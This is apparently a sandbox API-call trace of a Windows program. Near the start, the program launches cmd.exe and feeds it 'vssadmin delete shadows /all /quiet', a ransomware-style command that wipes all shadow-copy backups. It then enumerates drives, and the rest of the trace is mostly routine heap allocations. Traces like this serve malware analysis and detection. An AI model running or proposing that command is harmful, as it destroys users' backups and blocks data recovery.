	[0036.270] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xe0, dwThreadId=0x4a8)) returned 1
	[0036.522] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0036.522] WriteFile (in: hFile=0x24c, lpBuffer=0x6d75d8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6d75d8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0036.522] CloseHandle (hObject=0x25c) returned 1
	[0036.522] CloseHandle (hObject=0x258) returned 1
	[0036.522] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x696ea8 | out: hHeap=0x650000) returned 1
	[0036.523] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0036.523] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6d75d8 | out: hHeap=0x650000) returned 1
	[0036.523] lstrlenW (lpString="%comspec%") returned 9
	[0036.523] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fb48 | out: hHeap=0x650000) returned 1
	[0036.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0036.523] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694ca0
	[0036.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x694ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0036.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693dc0
	[0036.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x693dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0036.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68fa58
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68fa58, Size=0x40) returned 0x66b2a8
	[0036.524] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0036.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xd0) returned 0x66b9f0
	[0036.524] GetLogicalDrives () returned 0x4
	[0036.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10014) returned 0x696ea8
	[0036.524] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694cd0, Size=0x20) returned 0x68f710
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f710, Size=0x40) returned 0x66b800
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b800, Size=0x80) returned 0x6d7550
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7550, Size=0x100) returned 0x695778
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x200) returned 0x695778
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x400) returned 0x695778
	[0036.524] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x800) returned 0x6d7ed0
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7ed0, Size=0x1000) returned 0x6d7ed0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x6a6ec8
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x694cd0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694b80
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x693d60
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694a78
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x4) returned 0x693d40
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694a90
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693d40, Size=0x8) returned 0x693dd0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694aa8
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x693dd0, Size=0x10) returned 0x694b98
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694ad8
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694a30
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x694b98, Size=0x20) returned 0x68f788
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694bb0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e60
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694a18
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694b20
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f788, Size=0x40) returned 0x66b260
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694a60
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694a00
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694ac0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x694b38
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694988
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694940
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693d30
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694af0
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x66b260, Size=0x80) returned 0x6d7330
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694b68
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6949a0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694b08
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694958
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694bf8
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694970
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694b50
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e50
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694b98
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6949d0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x694be0
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694a48
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6949e8
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x694928
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9040
	[0036.525] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f68
	[0036.525] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6d7330, Size=0x100) returned 0x695778
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9028
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9070
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9058
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6d9190
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d90e8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f08
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e70
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f80
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d91a8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d91c0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x693dd0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d91d8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9100
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693df0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9178
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9088
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d8f98
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8fb0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9118
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8fe0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x6d8fc8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d90a0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6d9130
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9148
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f20
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9160
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8ff8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693d70
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f38
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d90b8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d91f0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d8f50
	[0036.526] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x200) returned 0x695778
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9010
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e80
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d90d0
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9220
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9340
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9370
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9400
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d93e8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d92f8
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9388
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9280
	[0036.526] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d93a0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9268
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d93b8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d94c0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9358
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9448
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d93d0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9208
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9460
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9478
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9418
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9430
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693d40
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9298
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9238
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9310
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693e10
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9490
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d92b0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d94a8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d94d8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d94f0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9250
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d92c8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d92e0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9328
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d96b8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9520
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d95c8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9550
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9508
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9568
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9628
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9670
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9538
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9580
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9598
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d95b0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693cc0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x693e30
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d95e0
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d95f8
	[0036.527] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9640
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9610
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9658
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9688
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d96a0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9e90
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9e18
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d40
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9e30
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9e48
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d28
	[0036.528] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x695778, Size=0x400) returned 0x695778
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9dd0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ea8
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9ec0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d10
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9e78
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d70
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9e60
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9de8
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d58
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9d88
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693cd0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9da0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d9db8
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9e00
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9920
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9788
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9848
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x6d97b8
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9980
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9938
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9818
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9758
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d98d8
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d99b0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9770
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9950
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x8) returned 0x693ce0
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9800
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9860
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9710
	[0036.528] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9728
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9740
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9830
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d97a0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d97d0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d97e8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x6d98f0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d98c0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xe) returned 0x6d9890
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9878
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d98a8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9908
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9968
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9998
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6d99c8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d99e0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d99f8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b60
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ad0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b18
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9bd8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a58
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b78
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9aa0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c98
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b30
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c20
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b00
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9cb0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ba8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ae8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a10
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6d9b48
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x12) returned 0x665a00
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a28
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9bc0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9b90
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a40
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ce0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9bf0
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9cc8
	[0036.529] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9cf8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c08
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c38
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a70
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9a88
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c50
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c68
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9ab8
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6d9c80
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da518
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da650
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da608
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xa) returned 0x6da620
	[0036.530] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xc) returned 0x6da668
